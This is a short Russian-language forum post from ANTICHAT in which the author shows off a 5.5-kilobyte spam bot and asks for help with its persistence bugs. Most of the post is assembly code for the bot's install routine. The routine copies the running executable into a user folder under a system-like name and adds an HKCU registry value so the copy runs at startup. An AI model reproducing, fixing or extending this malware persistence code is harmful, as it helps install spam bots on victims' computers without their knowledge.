ANTICHAT - Показать сообщение отдельно - Минимализм до идиотизма или спам бот в 5,5 килобайт

Может ктонить пробовал написать меньше? У мну получилось, но баги в том, что почемуто бот кудато уходит постоянно и после перезагрузки компа не возвращается.
код установки бота

Код:

proc install
 invoke _SHGetSpecialFolderPath,0,ValueName,0015h,0
 invoke _lstrcat,ValueName,my_sys_name
 mov eax,[fs:18h]   ; GetModuleHandle
 mov eax,[eax+30h]
 mov eax,[eax+8h]
 invoke _GetModuleFileName,eax, Value, 256
 invoke _CopyFile,Value,ValueName,0

 invoke _RegOpenKeyEx,$80000001, n_IKEY, 0, $F003F, key
 test eax,eax
 jne _i_exit
 stdcall _lstrlen,ValueName
 invoke _RegSetValueEx,[key], my_sys_name+1, 0, 1, ValueName, eax
 invoke _RegCloseKey,[key]
_i_exit:
 ret
endp